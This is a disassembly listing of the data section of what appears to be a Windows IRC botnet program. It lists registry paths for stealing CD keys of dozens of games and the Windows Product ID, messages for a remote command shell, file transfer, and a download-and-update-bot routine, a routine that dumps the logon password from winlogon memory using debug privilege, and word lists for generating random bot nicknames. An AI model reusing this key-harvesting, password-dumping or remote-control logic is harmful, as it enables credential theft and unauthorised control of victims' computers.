		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368E4o
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004368E0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368DCo
		align 4
asc_437ADC:				; DATA XREF: sub_415A30+E9o
					; sub_415A30+F4o
		unicode	0, <=>,0
dword_437AE0	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A30+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437B5C	db  2Dh	; -		; DATA XREF: ___:00415F18o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_437B80	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Do
					; ___:00416313o
		dd 726F72h
unk_437B98	db  2Dh	; -		; DATA XREF: ___:00416115o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437BC4	db  2Dh	; -		; DATA XREF: ___:0041601Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437BE8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE6o
		dd 74756Fh
dword_437C00	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F85o
		dd 169h
unk_437C18	db  2Dh	; -		; DATA XREF: ___:00415F42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437C38	db  2Dh	; -		; DATA XREF: ___:00415E9Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437C5C	db  2Dh	; -		; DATA XREF: ___:00415E5Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_437C80	db  2Dh	; -		; DATA XREF: ___:0041638Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437CAC	db  2Dh	; -		; DATA XREF: ___:00416288o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437CCC	db  2Dh	; -		; DATA XREF: ___:00416268o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00416254o
unk_437CFC	db  2Dh	; -		; DATA XREF: ___:00416240o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437D2C	db  2Dh	; -		; DATA XREF: ___:0041688Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437D58	db  2Dh	; -		; DATA XREF: ___:0041687Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437D8C	db  2Dh	; -		; DATA XREF: ___:004167C3o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_437DD0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416752o
		dd 25206465h, 73h
unk_437DEC	db  2Dh	; -		; DATA XREF: ___:004166DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437E24	db  2Dh	; -		; DATA XREF: ___:0041665Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437E4C	db  2Dh	; -		; DATA XREF: ___:004165D2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_437E78	db  2Dh	; -		; DATA XREF: ___:0041658Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_437EA0	db  2Dh	; -		; DATA XREF: ___:0041657Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_437EC8	db  2Dh	; -		; DATA XREF: ___:00416471o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A2:loc_4169E5o
					; sub_418EF7+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A2:loc_4169DFo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A2:loc_4169D9o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A2:loc_4169D3o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A2:loc_4169CDo
		align 4
off_437F18	dd offset word_4D4152	; DATA XREF: sub_4169A2:loc_4169C7o
word_437F1C	dw 3Fh			; DATA XREF: sub_4169A2+1Fo
					; sub_41AA43:loc_41AB45r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A33:loc_416B11o
					; sub_416B57+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A33+6Co
		align 10h
unk_437F30	db  2Dh	; -		; DATA XREF: sub_416B57+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437F6C	db  2Dh	; -		; DATA XREF: sub_416B57+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_437FA8	dd offset byte_5C3A41	; DATA XREF: sub_416C29:loc_416C6Eo
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_438018	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417094o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43804C	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417067o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438078	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417060o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_4380B0	db  2Dh	; -		; DATA XREF: sub_416F1B+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43810C	dd offset byte_530055	; DATA XREF: sub_416F1B+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset loc_4E0047+2
		dd 0
off_438124	dd offset byte_530055	; DATA XREF: sub_416F1B+CEo
		dd offset byte_520045
		dd offset loc_41004E
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1B+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o
					; sub_416F1B+161o ...
		align 4
unk_4381E8	db  2Dh	; -		; DATA XREF: sub_416F1B+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170ED+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170ED+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170ED+AFo
		align 4
dword_438234	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417553+70o
					; sub_4175EA+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438284	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175EA+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_4382D8	dd offset aQ		; DATA XREF: sub_417ADE+5Cr
					; "q"
		dd offset dword_438E80
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_438E7C
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_438E78
		dd offset dword_438E74
		dd offset dword_438E70
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE44	; "l"
		dd offset dword_438E6C
		dd offset dword_438E68
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438E64
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438E60
		dd offset dword_438E5C
		dd offset dword_438E58
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset word_438E4C
		dd offset dword_438E48
		dd offset aI_0		; "I"
		dd offset dword_438E44
		dd offset dword_438E40
		dd offset aA_0		; "A"
		dd offset dword_438E3C
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
		dd offset dword_438E2C
		dd offset dword_438E28
		dd offset dword_438E24
		dd offset dword_438E20
		dd offset dword_438E1C
		dd offset dword_438E18
		dd offset dword_438E14
		dd offset dword_438E10
		dd offset dword_438E0C
		dd offset word_438E08
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438BA0
		dd offset off_438B9C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438A08
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_4385D8	dd offset aSex		; DATA XREF: sub_417ADE+41r
					; sub_417ADE+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438E64
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_438E78
		dd offset dword_438E74
		dd offset dword_438E70
		dd offset aI		; "i"
		dd offset dword_42BBEC
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE44	; "l"
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438E80
		dd offset dword_438E68
		dd offset dword_438E7C
		dd offset dword_438E6C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438E6C
		dd offset dword_438E74
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438828
		dd offset aBbl		; "|bbl"
		dd offset dword_43D7F8
		dd offset dword_43D7F8
		dd offset a___0		; "_|_"
		dd offset dword_43D7F8
		dd offset dword_43D7F8
		dd offset dword_43D7F8
		dd offset dword_43D7F8
		dd offset dword_438E34
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438E64
		dd offset dword_43D7F8
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D7F8
		dd offset dword_43D7F8
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D7F8
		dd offset dword_43D7F8
		dd offset dword_438E18
		dd offset dword_43D7F8
		dd offset off_4387E8
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4387A8
		dd offset dword_4387A4
		dd offset dword_43879C
		dd offset dword_438790
		dd offset dword_438788
		dd offset dword_438780
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
dword_438770	dd 7536h		; DATA XREF: ___:0043876Co
dword_438774	dd 7535h		; DATA XREF: ___:00438768o
dword_438778	dd 7C75347Ch, 0		; DATA XREF: ___:00438764o
dword_438780	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438760o
dword_438788	dd 7375347Ch, 7Ch	; DATA XREF: ___:0043875Co
dword_438790	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438758o
dword_43879C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438754o
dword_4387A4	dd 6C6F6Ch		; DATA XREF: ___:00438750o
dword_4387A8	dd 746F74h		; DATA XREF: ___:0043874Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438748o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438744o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438740o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043873Co
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438738o
aShit		db 'shit',0             ; DATA XREF: ___:00438734o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438730o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:0043872Co
		align 4
off_4387E8	dd offset loc_594F42	; DATA XREF: ___:00438728o
aFree		db 'Free',0             ; DATA XREF: ___:00438714o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438710o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438704o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:004386F8o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:004386F4o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:004386F0o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:004386D4o
aBbl		db '|bbl',0             ; DATA XREF: ___:004386C8o
		align 4
off_438828	dd offset loc_425242	; DATA XREF: ___:004386C4o
aMuckc		db 'muckc',0            ; DATA XREF: ___:004386B0o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:004386ACo
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:004386A8o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:004386A4o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:004386A0o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:0043869Co
aRt		db 'rt',0               ; DATA XREF: ___:00438698o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00438694o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438690o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:0043868Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438688o
		align 4
